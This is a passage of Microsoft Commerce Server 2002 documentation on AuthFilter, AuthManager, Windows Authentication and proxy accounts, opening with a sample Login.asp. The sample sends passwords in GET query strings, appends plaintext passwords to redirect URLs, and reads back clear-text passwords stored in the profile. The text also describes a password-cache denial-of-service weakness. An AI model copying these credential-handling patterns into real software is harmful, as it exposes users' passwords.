<!-- #INCLUDE Virtual="supplierad/include/std_access_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/std_profile_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/std_cookie_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/std_url_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/std_util_lib.asp" -->
<!-- #INCLUDE Virtual="supplierad/include/setupenv.asp" -->
<!-- #INCLUDE Virtual="supplierad/template/no_menu.asp" -->
<%
REM sample file for using with AuthFilter
REM This file handles Login for user
%>

<%

   Sub Main()
   End Sub

   Dim strSelect, strUserName, strPassword, strPasswordTest, strPWD, strRetAsp, sAuthUser
   dim objAuth, objMSCSProfileObj
   Dim strAuthErr, strSiteName, sUserID

   ' AuthManager : Create & Initialize
   set objAuth = Server.CreateObject("Commerce.AuthManager")
   strSiteName = CStr(Application("MSCSCommerceSiteName"))  ' Get SiteName
   objAuth.Initialize(strSiteName)

   'Get the hidden variable to determine if this is the first run of the page
   strSelect = Request.Querystring("realSubmit")

   'If users pressed the submit button
   if strSelect = "fromButton" then

      'authenticate the user
      strUserName = Request.Querystring("txtUsername")
      strPassword = Request.Querystring("txtPassword")

         if (strUserName = "") or (strPassword = "") then
            Response.Redirect "Login.asp"
         end If

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: start
         '   To get Proxy-Account
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' For Proxy-Account usage: you may need to update 'strUserName' && 'strPassword', which you may get from Profile
         '   Or some other similar way ...
         ' if password-available:   if (objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value = strPassword) then
         ' sUserID = objMSCSProfileObj.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: end
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PASSWORD: start
         '   To get Clear-Text-Password:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         sAuthUser = LoginName(strUserName)   ' as per profile-schema we need to filter DomainName here. 'strUserName' is in format: Domain\UserLoginID
         Set objMSCSProfileObj = GetUserProfileByLoginName(sAuthUser)
         if (objMSCSProfileObj is nothing) then
            Response.Redirect "Login.asp"
         end if
         ' if password-available: in clear-text for Proxy-Account
         ' strPasswordTest = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("user_security_password") ' objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value
         Set objMSCSProfileObj = Nothing

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' End Of getting Clear-Text password
         ' $PASSWORD: End
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' for Custom/NT Auth
            ' if password-available: in clear-text for Proxy-Account
            ' if (strPasswordTest = strPassword) then
            objAuth.SetAuthTicket strUserName, 1, 90
            ' Else
            '   Response.Redirect "Login.asp"
            ' EndIF

            ' Go to the Original requested ASP which is stored in cookie "MSCSFirstRequestedURL" & the following is required for a POST in Login instead of GET(by default)
            strRetAsp = Request.Cookies("MSCSFirstRequestedURL")   'retAsp = "..\default.asp"    '  (or) use: Request.Cookies("MSCSFirstRequestedURL") &  First requested URL (even if there is no QueryString this URL ciontains '?' at the end
            strRetAsp = strRetAsp + "&proxyuser="               ' make sure the QS-separator '?' is added by filter
            strRetAsp = strRetAsp + strUserName
            strRetAsp = strRetAsp + "&proxypwd="            ' Password
            strRetAsp = strRetAsp + strPassword

            if (strRetAsp = "" Or IsNUll(strRetAsp)) then
               strRetAsp = objAuth.GetURL("default.asp", True, False, Array("proxyuser", "proxypwd"), Array(strUserName, strPassword))
            end if

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Distributed-Denial-Of-Service Attack (DDoS)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' this is to avoid DDos Attacks with known User login ID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Set objGenID =  Server.CreateObject("Commerce.GenID") '$PERF: store one in Application scope in GLOBAL.ASA, Application("MSCSAuthGenID")
            ' strGUID = objGenID.GenGUIDString
            '
            ' objAuth.SetProperty 2, "guid", strGUID ' after setting Ticket
            ' strRetAsp = strRetAsp + "&guid="
            ' strRetAsp = strRetAsp + strGUID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

            Response.Redirect strRetAsp
   else
      if objAuth.IsAuthenticated(30) Then      ' for Web-Farm scenario <valid-Auth-Ticket Exist, but not cached in Filter>
         strUserName = objAuth.GetUserID(2)   ' Get LoginID <only in case of AD-Site>
         if (strUserName = "") or (IsNull(strUserName)) then
            Response.Redirect "Login.asp"
         end If
         sAuthUser = LoginName(strUserName)   ' as per profile-schema we need to filter DomainName here. 'strUserName' is in format: Domain\UserLoginID

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: start
         '   To get Proxy-Account
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' For Proxy-Account usage: you may need to update 'strUserName' && 'strPassword', which you may get from Profile
         '   Or some other similar way ...
         ' if password-available:   if (objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value = strPassword) then
         ' sUserID = objMSCSProfileObj.Fields(GetQualifiedName(GENERAL_INFO_GROUP, FIELD_USER_ID)).Value
 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PROXY-ACCOUNT: end
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' $PASSWORD: start
         '   To get Clear-Text-Password:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         Set objMSCSProfileObj = GetUserProfileByLoginName(sAuthUser)   ' Helper method from SupplierAD solution-site
         if (objMSCSProfileObj is nothing) then
            Response.Redirect "Login.asp"
         end if
         ' if password-available: in clear-text <same for proxy-account-scenario>
         strPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("user_security_password") ' objMSCSProfileObj.Fields("GeneralInfo.user_security_password").Value
         'strPassword = "password"   ' if PWD not avalable & for test purposes only
         Set objMSCSProfileObj = Nothing
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
         ' End Of getting Clear-Text password
         ' $PASSWORD: End
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

         strRetAsp = Request.Cookies("MSCSFirstRequestedURL") '  (or) use: "../default.asp"
         strRetAsp = strRetAsp + "&proxyuser="               ' make sure the QS-separator '?' is added by filter
         strRetAsp = strRetAsp + strUserName
         strRetAsp = strRetAsp + "&proxypwd="               ' Password
         strRetAsp = strRetAsp + strPassword

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' Distributed-Denial-Of-Service Attack (DDoS)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' this is to avoid DDoS Attacks with known User login ID
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' strGUID = objAuth.GetProperty(2, "guid")   ' if this exists, you need to pass this also on Query string
            '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
            ' If Not IsNull(strGUID) Then
            '    strRetAsp = strRetAsp + "&guid="
            '    strRetAsp = strRetAsp + strGUID
            ' End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

         Response.Redirect strRetAsp
      Else
         PrintLogin
      End If
   End if

   Set objAuth = Nothing
%>

<%Sub PrintLogin() %>
<HTML>
<HEAD>
<TITLE>Login</TITLE>
</HEAD>
<BODY>
<FORM NAME="frmLogin" ACTION="Login.asp" METHOD="GET">
<br>
<br>
<br>
<H2 ID=L_LoginForm_HTMLText>CS2K-LoginForm</H2><ID Id=L_EnterCredential_ErrorMessage>
To access authenticated content, please enter your UserID & Password</ID>
<br>
<br>
<br>

<H3 ID=L_UserName_HTMLText>Username:<INPUT TYPE="text" NAME="txtUsername" SIZE=32 MAXLENGTH=32><br><ID ID=L_UserPassword_HTMLText>
Password :</ID><INPUT TYPE="password" NAME="txtPassword" SIZE=32 MAXLENGTH=32></H3><br>
<br>

<INPUT type=HIDDEN name="realSubmit" value="fromButton">
<p align="left">
   <input type="submit" name="action" id=L_Submit_Button value="Submit">
   <input type="reset" name="action" id=L_Reset_Button value="Reset">
</p>
</FORM>

<H2>
<br>
<br>
<A HRef="register.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user (need to add this registration file)</A>
<br>
</H2>

</BODY>
</HTML>
<%end sub%>

See Also

Enabling AuthFilter for the Supplier Solution Site


Using AuthFilter on a .NET-based Site

When you are developing a site using Visual Studio .NET, and you have AuthFilter enabled, when Visual Studio .NET tries to connect to the site, AuthFilter does a redirect so Visual Studio .NET cannot open the project.

You must disable AuthFilter and then restart IIS. Disabling AuthFilter does not unload it from IIS process space until IIS is restarted; it only removes the AuthFilter entry from the metabase.

See Also

Disabling AuthFilter

Restarting IIS and Commerce Server Services


Disabling AuthFilter

If you do not want AuthFilter to be applied to your site at the site level, you must do the following:

  • Select No Filter mode in the Commerce Authentication Filter section on the General Properties tab for an application.
  • Remove Autocookie generation for the site.

When you select the No Filter mode, AuthFilter is not applied to the Web site; however, the filter still exists in IIS because another site may be using it. If you want to remove it altogether, use Internet Services Manager to remove the filter.

If you select No Filter and Autocookie generation is enabled, AuthFilter is still applied to the site.

In No Filter mode, the site developer can apply authentication to individual Active Server Pages (ASP) by invoking methods exposed by the AuthManager object. AuthManager is a Component Object Model (COM) object that exposes methods for identifying users and controlling access to dynamically generated content. For example, a site developer could invoke the GetUserID method of AuthManager to identify a user based on a cookie or a query string.

By default, the Solution Sites for Commerce Server 2002 uses the No Filter mode and has implemented an authentication scheme based on AuthManager. If you want to change the sites to take advantage of AuthFilter, you will need to make some changes to the Login.asp and other helper pages for the sites. For more information, see Enabling AuthFilter for the Retail Solution Site and Enabling AuthFilter for the Supplier Solution Site.

To disable AuthFilter

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the application you want to configure, and then click Properties.
  3. In the Properties dialog box, on the General tab, in the Authentication filter box, select No Filter.
  4. Clear the Autocookie box if it is selected, and then click OK.

Notes

  • After you change a property value in Commerce Server Manager, you must restart Internet Information Services (IIS) 5.0 for the change to take effect. This also applies if you unload the ISAPI filter from memory, because unloading an ISAPI filter from memory only removes the IIS metabase settings for the filter. For instructions about restarting IIS, see Restarting IIS and Commerce Server Services.
  • If you disable AuthFilter for a site by choosing No Filter mode, you must manually configure the security settings that you need on the site. To manually configure the security settings, use IIS, select the security settings that you want for that site, and then restart IIS.

See Also

Restarting IIS and Commerce Server Services

Enabling AuthFilter for the Retail Solution Site

Enabling AuthFilter for the Supplier Solution Site


AuthManager

The AuthManager object is a Component Object Model (COM) object that exposes methods for identifying users and controlling access to dynamically generated content. The methods and properties of this object control and access the contents of cookies and encoded URL strings.

The following figure shows how AuthManager works.

How AuthManager works.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object is intended for use only through Active Server Pages (ASP) because it depends on ASP intrinsic objects.

Note

  • Outside of ASP script, you can use the GetUserIDFromCookie and
    GetUserIDFromCookieAndKey methods of AuthManager.

The AuthManager object provides methods to place the ticket into a cookie, if cookies are enabled on the client, or, if cookies are not enabled, into an encoded URL string. When the AuthManager object is used with the AuthFilter ISAPI filter, cookies must be enabled.

See Also

Authentication Features


Windows Authentication Mode

In Windows Authentication mode, a user is validated by setting a session cookie that contains an MSCSAuth ticket. No expiration date is specified for the cookie, and the cookie is deleted after the session expires. An MSCSAuth ticket contains a user ID, the last login time, and a time window specifying how long the ticket is valid after the last login time. A validated user does not automatically have access to a requested URL. The credentials of the user, once validated, are checked against the access rights of the URL that are maintained through access control lists (ACLs).

The following diagram shows how Windows Authentication works.

For a figure that shows how Windows Authentication works with proxy accounts, see Proxy Accounts.

Notes

  • When Windows Authentication mode is enabled, the security of the site is automatically set to Internet Information Services (IIS) Basic authentication. Do not change this setting, because it enables AuthFilter to be notified of events by IIS.
  • After unpacking a Solution Site for use with Commerce Server 2002, the files contained in the <sitename>\AuthFiles folder have anonymous access enabled. If these files are not used, they should be deleted. For more information about Solution Sites, see Commerce Server Solution Sites.

This section contains:

  • Processing User Requests in Windows Authentication Mode
  • Login Page: Get Method and Post Method
  • Clear Text Passwords
  • Enabling Windows Authentication
  • AuthFilter and DDoS Attacks
  • Proxy Accounts


Processing User Requests in Windows Authentication Mode

In Windows Authentication mode, when a user requests a URL there are a number of possible outcomes. Internet Information Services (IIS) detects the request sent by the browser and notifies AuthFilter of the SF_NOTIFY_PREPROC_HEADERS event. At this point, AuthFilter takes control of processing the request and performs the following actions:

  1. It checks for site configuration properties in the local site configuration cache and, if not found, reads the site configuration properties from the Administration database using a SiteConfig object and stores them in the local site configuration cache.
  2. It checks whether the URL is correct, automatically correcting for the case sensitivity of the IIS virtual directory roots.
  3. It checks for session-cookie support on the browser.

At this point, three actions are possible, depending on whether cookies are enabled or disabled on the browser. The user is redirected to either a support page or a login page, or the user is sent the requested URL.

Case 1: Redirect to a Support Page

Case 2: Send the Requested URL

Case 3: Redirect to a Login Page

Case 1: Redirect to a Support Page

In this case, cookies are disabled. When AuthFilter discovers that session-cookies are disabled, it redirects the user to a support page that notifies the user that cookies are required and that the user should resubmit the request after cookies are enabled.

To accomplish this, AuthFilter performs the following steps in the background after being notified by IIS that an SF_NOTIFY_PREPROC_HEADERS event has occurred:

  1. It checks for site configuration properties in the local site cache and, if not found, it reads the site configuration properties from the Administration database using a SiteConfig object.
  2. It checks for session-cookie support on the browser. If session-cookies are not supported, the user is redirected to the Active Server Pages (ASP) page specified in the No-Cookie form property in the Commerce Server Manager user interface property of the CS Authentication resource. Usually this page notifies the user that cookies are required and that the user should resubmit the request after cookies are enabled. By default, an ASP page, named Nocookie.asp, is supplied for this purpose. This file is located in the AuthFiles folder in the Commerce Server installation directory.

Case 2: Send the Requested URL

In this case, cookies are enabled. The requested URL is returned to the user in either of these scenarios:

  • The request contains a valid MSCSAuth ticket and the user has access rights to the requested URL.
  • The request does not contain an MSCSAuth ticket, but the requested URL has anonymous access rights.

To accomplish this, AuthFilter performs the following steps in the background after being notified by IIS that an SF_NOTIFY_PREPROC_HEADERS event has occurred:

  1. It checks for site configuration properties in the local site cache and, if not found, reads the site configuration properties from the Administration database using a SiteConfig object.
  2. It sets a cookie with an MSCSFirstRequestedURL property set to the originally requested URL.
  3. If the request does not contain an MSCSAuth ticket, the request is redirected to the Login.asp page.
  4. If the requested URL has anonymous access rights, the URL is returned.
  5. If the cookie contains an MSCSAuth ticket, AuthFilter checks the local password cache for an entry matching the user ID contained in the cookie.
  6. On finding a matching entry, AuthFilter checks the current time against the last login time set on the ticket to see if it is within the time window specified in the ticket. If the current time is within five minutes of the last login time plus the time window, the last login time on the ticket is changed to the current time so an active user can remain browsing.
  7. Since the current time is within the time window, the ticket is considered valid, and the user ID and password are submitted to IIS for access to the requested URL.
  8. Since the user has access rights to the requested URL, IIS returns the page.

Case 3: Redirect to a Login Page

In this case, cookies are enabled. AuthFilter redirects the user to a login form for any of these scenarios:

  • The request does not contain an MSCSAuth ticket and the requested URL does not have anonymous access rights.
  • The request contains an invalid MSCSAuth ticket.
  • The request contains a valid MSCSAuth ticket but the user does not have access rights to the requested URL. The Active Server Pages (ASP) page to which the user should be redirected is specified in the Login Form property of the CS Authentication resource.
  • The request contains a valid MSCSAuth ticket but the credentials for the user are not contained in the AuthFilter password cache (when the request is sent to a new Web server in a Web farm scenario).

To accomplish this, AuthFilter performs the following steps in the background after being notified by IIS that an SF_NOTIFY_PREPROC_HEADERS event has occurred:

  1. It checks for site configuration properties in the local site cache and, if not found, reads the site configuration properties from the Administration database using a SiteConfig object.
  2. It sends a cookie with an MSCSFirstRequestedURL property set to the originally requested URL.
  3. If the request does not contain an MSCSAuth ticket, the request is redirected to the Login.asp page.
  4. If the requested URL does not have anonymous access rights, IIS signals AuthFilter of the SF_NOTIFY_ACCESS_DENIED event, and the user is redirected to either a login page or an error page, as required.
  5. If the cookie does contain an MSCSAuth ticket, AuthFilter checks the password cache for an entry matching the user ID contained in the cookie.
  6. If a matching entry is not found, the user is redirected to the login page.
  7. If a matching entry is found, AuthFilter checks the current time against the login time to see if it is within the time window specified in the ticket.
  8. If the current time is past the time window specified in the ticket, the user is redirected to the login page.
  9. If the current time is within the time window, the ticket is considered valid, and the user ID and password are submitted to IIS for access to the requested URL.
  10. If the user does not have access rights to the requested URL, IIS issues a SF_NOTIFY_ACCESS_DENIED notification, and AuthFilter redirects the user to a login page.

For information about the events on the login page, see Login Page: Get Method and Post Method.

See Also

Enabling Windows Authentication

Processing User Requests in Custom Authentication Mode

Processing User Requests in Autocookie Mode


Login Page: Get Method and Post Method

The site developer must create a Login.asp page for users to enter their credentials. You specify this login page in the Login Form property of the CS Authentication resource. For a sample Login.asp page, see the \Microsoft Commerce Server 2002\AuthFiles folder.

When the user requests the login page and the request is not a form submission, the page is sent to the user. The login page must have anonymous access rights because, at this point, the user is unauthenticated. The login page has a link to a registration page for new users. The user submits the login form containing the user ID and password. If either of these credentials is missing, the user is redirected back to the login page. AuthFilter performs different actions depending on whether the submission was through the Get method or the Post method.

For performance reasons, do not set any persistent cookies on the login page.

Get Method

Post Method

Get Method

When the Get method is used, the submitted user ID and password are placed in the HTTP header and are available to AuthFilter when it receives the SF_NOTIFY_PREPROC_HEADERS event. This occurs before the login page processes the request.

The following steps are taken:

  1. AuthFilter retrieves the submitted user ID and password from the QueryString collection properties, txtUserName and txtPassword.
  2. AuthFilter checks the password cache for an entry matching the user ID.
  3. If an entry is found, the password is updated with the submitted password.
  4. If an entry is not found, a new entry is made using the submitted user ID and password.
  5. AuthFilter returns processing to the login page.
  6. In the login page, the submitted user ID and password are retrieved from the txtUserName and txtPassword properties of the QueryString collection of the Request object.
  7. Using the submitted user ID, the profile of the user is retrieved from the Commerce Server Profiles resource or another profile system.
  8. If the user does not have a profile, the user is redirected to the registration page.
  9. If the user has a profile, but the password associated with the profile does not match the submitted password, the login page is resent to the user.
  10. If the passwords do match, the AuthManager object is used to set the MSCSAuth ticket into a session cookie for the user.
  11. The user is redirected to the original URL, which was previously stored by AuthFilter in the MSCSFirstRequestedURL property of a separate session cookie.
  12. When the browser resubmits the request, AuthFilter determines the ticket is valid and returns processing to IIS.
  13. If the user has access rights to the URL, the URL is returned.

Post Method

When the Post method is used, the submitted user ID and password are placed in the HTTP body and are not available to AuthFilter until after the login page processes the request. This requires an additional step beyond those used when processing a request that uses the Get method. This step entails appending the user ID and password to the URL query string. For a code example showing these steps, see Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket.

The following steps are taken:

  1. Initially, the submitted user ID and password are unavailable to AuthFilter and processing is immediately returned to the login page.
  2. In the login page, the submitted user ID and password are retrieved from the txtUserName and txtPassword properties of the Form collection of the Request object.
  3. Using the submitted user ID, the profile of the user is retrieved from the Commerce Server Profiles resource or another profile system.
  4. If the user does not have a profile, the user is redirected to the registration page.
  5. If the user does have a profile, but the password associated with the profile does not match the submitted password, the login page is resent to the user.
  6. If the passwords do match, the AuthManager object is used to set the MSCSAuth ticket into a session cookie for the user.
  7. The user ID and password are appended to the original URL query string, which was previously stored by AuthFilter in the MSCSFirstRequestedURL property of a separate session cookie, using two properties, proxyuser and proxypwd. The query string resembles the following:
       "<MSCSFirstRequestedURL>&proxyuser=UserID&proxypwd=Password"
  8. The user is redirected to the original URL.
  9. IIS notifies AuthFilter that it is sending a redirect response by signaling the SF_NOTIFY_SEND_RESPONSE event.
  10. AuthFilter removes the user ID and password from the URL query string. The credentials are not sent to the browser.
  11. AuthFilter checks for the user ID in the password cache and, if found, updates the password.
  12. If the user ID is not found, a new entry is made using the user ID and password.
  13. When the browser resubmits the request, AuthFilter determines that the ticket is valid and returns processing to IIS.
  14. If the user has access rights to the requested URL, the URL is returned.

See Also

BDSecurity Object

Processing User Requests in Windows Authentication Mode

Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket


Clear Text Passwords

The password of a user in Active Directory is stored in encrypted format. To have access to this password in clear text, two options are available when the password is initially retrieved in the login page:

  1. Extend the profile schema by adding a new property to store the clear text password. Extending the schema must be performed through the Profile Definition Designer in Commerce Server Business Desk. For information about this procedure, see Adding Properties to a Profile Definition.
  2. Create a custom cache to store the clear text password.

Notes

  • Storing clear-text passwords is a security risk, because they are inherently less secure than encrypted passwords.
  • The profile service allows profile properties to be encrypted. For more information, see Managing Encrypted Profile Properties.


Enabling Windows Authentication

When you select the Windows Authentication mode, AuthFilter looks up the access rights for the user in Active Directory. When a user logs in to a site running in this mode, AuthFilter retrieves the user name and password from the Hypertext Transfer Protocol (HTTP) request and stores it in a cache. In Windows Authentication mode, an access control list (ACL) determines access to any resource on the Web site.

Windows Authentication supports a Web farm scenario with a single login, and it supports using proxy accounts.

Note

  • The following instructions assume you have set the security mode on your Web server to log on locally. See Setting the Security Mode on the Web Server.

To enable the Windows Authentication mode

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, in the Authentication filter box, select Windows Authentication, and then click OK.

AuthFilter passes the credentials to Internet Information Services (IIS) 5.0, and IIS validates the user login and password against an Active Directory data store.

Note

  • After you change a property value in Commerce Server Manager, you must unload the application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Enabling Custom Authentication

Enabling Autocookie Mode

Enabling Cookie Sharing across Domains

Enabling Cookie Sharing Across Applications

BDSecurity Object

AuthManager Object


AuthFilter and DDoS Attacks

A distributed denial-of-service (DDoS) attack is an attempt to disrupt access to a server. There is a known vulnerability with AuthFilter, which could cause a registered user to be forced to re-authenticate on each Web page. This is caused by a malicious user repeatedly logging on to your site with a known valid user ID and incorrect password.

When a user logs on to the site, the password, entered by the user into the login page, is placed into the AuthFilter password cache. By default, AuthFilter associates the password, in the AuthFilter password cache, with the user ID of the user that supplied the login credentials.

However, AuthFilter does not associate each password, in the AuthFilter password cache, with one, and only one, client session. When a user logs on with a valid user ID, the password cache is updated with the submitted password, even if the password is invalid. This DDoS technique disrupts service, because the authenticated user must re-authenticate when redirected to a new Web page.

The malicious user does not gain entry to the site, but forces a registered user who is using an active session, to log in again. This is because the password in the AuthFilter password cache is no longer valid for the registered user.

To avoid the attack, you can store a custom property in the AuthFilter password cache, in addition to the user ID and password. This custom property is generally a globally unique identifier (GUID) and is used to distinguish between different client sessions using the same user ID and possibly different passwords.

Filled Password Cache

In situations in which where the AuthFilter password cache is filled with the passwords of legitimate user IDs, any new incoming authentication will be redirected to the login page.

If the password cache reaches its maximum size, a message is written to the Event Log that you must increase the size of the cache.

If you do not increase the size of the cache immediately, users will not be able to login.

Note

  • For information about implementing a GUID in your Login.asp page, see Configuring Login.asp to use a GUID.

To view a sample Login.asp page, that has been updated to avoid this (DDoS) attack scenario, see Login.asp Code for the Supplier Solution Site.

See Also

Login.asp Code for the Supplier Solution Site

BDSecurity Object

AuthManager Object

Code to Set a Custom Property on a Ticket

Using Proxy Accounts in a Web Farm

Adding a New Property to a Profile Definition


Proxy Accounts

Proxy accounts are role-based Windows accounts that are used in lieu of individual authenticated user accounts. Using proxy accounts allows you to implement role-based security for your site.

For example, you want to create the following roles for your site: buyers, sellers, managers, and administrators. You would create an Active Directory Windows account for each of these roles. You would store individual user accounts in a database, such as SQL Server, from which you would authenticate users. Users log on to your site using their unique credentials. Once they are authenticated against the database, and their "role" is determined, the users access your site using the credentials of the proxy account (stored in active directory) for their role.

The Windows accounts, which are stored in Active Directory in this scenario, are referred to as proxy accounts because the proxy accounts are used to grant access the site, in lieu of the user accounts (stored in SQL Server) that were used to authenticate the user.

You must add code to the Login.asp page to map the user accounts (stored in a database, such as SQL Server) to proxy accounts (stored in Active Directory).

This section contains:

  • Advantages and Disadvantages of Using Proxy Accounts
  • Granting Access to Users using Proxy Accounts
  • Enabling Proxy Accounts
  • Allowing Users to Switch Proxy Accounts
  • Using Proxy Accounts in a Web Farm
  • Code to Implement Proxy Accounts
  • Code to Implement Proxy Accounts in a Web Farm Scenario


Advantages and Disadvantages of using Proxy Accounts

Proxy account support allows for a large number of user accounts to exist in a SQL Server database (which scales much better than Active Directory) to be mapped to smaller number of Windows accounts stored in Active Directory, and still leverage Windows ACL security.

Using proxy accounts minimizes the administration overhead of configuring ACLs, because fewer Windows accounts are used for granting access to your site. Using proxy accounts also improves performance for your site, because SQL Server is much faster than Active Directory. However, using proxy accounts is inherently less secure than storing all user accounts in Active Directory.

Using proxy accounts can be useful if a site has a large user base that it does not want to keep in AD, however, you want to leverage Windows authentication to secure your site resources using access control lists (ACLs).

User accounts are kept in a database, such as SQL Server, which scales better than Active Directory, and a much smaller number of Windows accounts are kept in Active Directory, which are used as proxy accounts. Hence a large number of users, typically millions for this scenario, can be mapped to a small number of proxy accounts. This also eases the management of permissions due to a smaller number of Windows accounts in which to configure ACLs. Each user can be marked as belonging to a specific role, which is used map a user to a particular proxy account.

Note

  • The mapping of user accounts to proxy accounts is left to the individual site design. Logic must be added to the login page to request the property from SQL Server to determine the users role. The login page then gets the proxy credentials from Active Directory for this role, and sends the user a session cookie containing the proxy credentials. For more information, see Code to Implement Proxy Accounts.

The following is a summary of the advantages and disadvantages of using proxy accounts.

Advantages of Using Proxy Accounts

  • Better Performance: SQL Server authenticates users much faster than active Directory.
  • Scalability: If you exceed the maximum recommended number of users per Active Directory domain, around 10 million users, you would need to add additional Active Directory partitions or additional domains. This complicates the manageability of Active Directory. You can store many more users in a single SQL server, simply by adding more hard drive space or processors to a single machine.
  • Lower total cost of ownership: Even though Active Directory can store many more objects, for performance reasons in e-business scenarios, it is recommended that you store no more than three million objects/users per domain in Active Directory.

    Commerce Server provides partitioning support across multiple forests to scale Active Directory. This has been tested up to 10 million objects/users, although there is no hard-coded limit.

    SQL Server can store many more user accounts, per machine, than active directory. This lowers the total cost of ownership if you are storing more than 10 million Windows user accounts.

  • Easier to manage: Because users access your site using the credentials of the proxy account for their role, and because you can map millions of users to a few roles, the task of setting ACLs on your site resources is greatly reduced.

Disadvantages of Using Proxy Accounts

  • Inherently Less Secure: SQL server stores passwords in clear-text (although you can encrypt the password using the encryption features of the Profiling System), and Active Directory (by default) stores passwords in encrypted format. Therefore, using proxy accounts is less secure than storing all user passwords in active directory.

Important

  • Because of the disadvantages listed above, do not implement proxy accounts in a Business to Consumer environment, such as the Retail Solution Site.

See Also

Managing Encrypted Profile Properties


Granting Access to Users Using Proxy Accounts

The information provided in this topic is for system administrators and site developers. This topic provides information about the requirements for using proxy accounts. Also provided is detailed information about how users are granted access to your site using proxy accounts, which a site developer needs to understand to customize their login page to implement this scenario.

The following are requirements for using proxy accounts:

  • Configure your site to use Windows authentication mode.
  • Enable AuthFilter for your site.
  • Create a Windows user account (proxy account) in Active Directory for each role.
  • Store individual user accounts in a database, such as SQL Server, used to authenticate the user.
  • Client browsers must support cookies.

Important

  • Because SQL Server passwords travel across the network as clear text, it is highly recommended that you use firewalls to implement a demilitarized zone (DMZ). For information about using a DMZ see Deploying a Secure Site.

Granting Access to a Site Using Windows Authentication with AuthFilter and Proxy Accounts

Users are authenticated similarly to sites using Windows Authentication with Authfilter, as shown in the Windows Authentication Mode topic. The difference, as illustrated below, is that the user accesses the site under the context of the proxy account.

The following diagram show how a user is granted access to a site using Windows Authentication with AuthFilter and proxy accounts.

Windows Authentication and proxy accounts


Enabling Proxy Accounts

To implement the use of proxy accounts for your site, you must do the following:

  • Unpack a solution site
  • Enable AuthFilter, in Windows authentication mode for your site
  • Create user accounts (proxy accounts) in Active Directory
  • Add new properties to the profile definition for your site
  • Create user accounts in SQL Server

Create Windows user accounts in Active Directory

Create Windows user accounts in Active Directory, one Windows user account for each role.

Add new properties to the profile definition for your site

Add two new properties to the profile definition for your site. One property is used to store the name of the proxy account (which is in Active Directory), and the other property is used to store the password of the proxy account in the SQL Server database so that it can be retrieved as clear text. The password property should be encrypted. For information about this procedure, see Adding Properties to a Profile Definition.

Notes

  • Storing clear-text passwords is a security risk, because they are less secure than encrypted passwords.
  • The property that stores the name of the proxy account must be a string value, must map to data, and must be a required property.
  • The property that stores the password of the proxy account must be a string value, must map to data, is required, and must be configured for asymmetric encryption, so that the password is returned to the login page as clear text.
  • The proxy password in Active Directory and the proxy password are not synced. If you change the password for a proxy account in Active Directory, you must also change the proxy account password in SQL Server for each user.

Update Login.asp for your site. In addition to authenticating the user, the Login.asp page must be updated to do the following:

  • Retrieve the profile and obtain the proxy account and proxy password for the user.
  • Set the MSCSAuth ticket with the user ID for the user. However, the credentials passed to the filter via the query string are that of the proxy account. Note, you need to set the GUID property on the ticket and the query string so that Authfilter performs its lookup in its password cache based on the GUID and not on the Userid in the ticket.

For more information, see Configuring Login.asp to use a GUID.

For a code sample of Login.asp configured to use proxy accounts, see Code to Implement Proxy Accounts.

Note

  • The password must be returned to the login page as clear text. This is the reason the password for the proxy account is stored in the profile.

For more information, see Clear Text Passwords.

Create user accounts in SQL Server

Map user accounts (in SQL) to proxy accounts (in Active Directory).

Notes

  • When creating new users, you would enter the role of the user. For existing users, you must enter the role information for each user account.
  • The admin that adds users must also enter the proxy password for the user role. This is the property that was added to the profile.
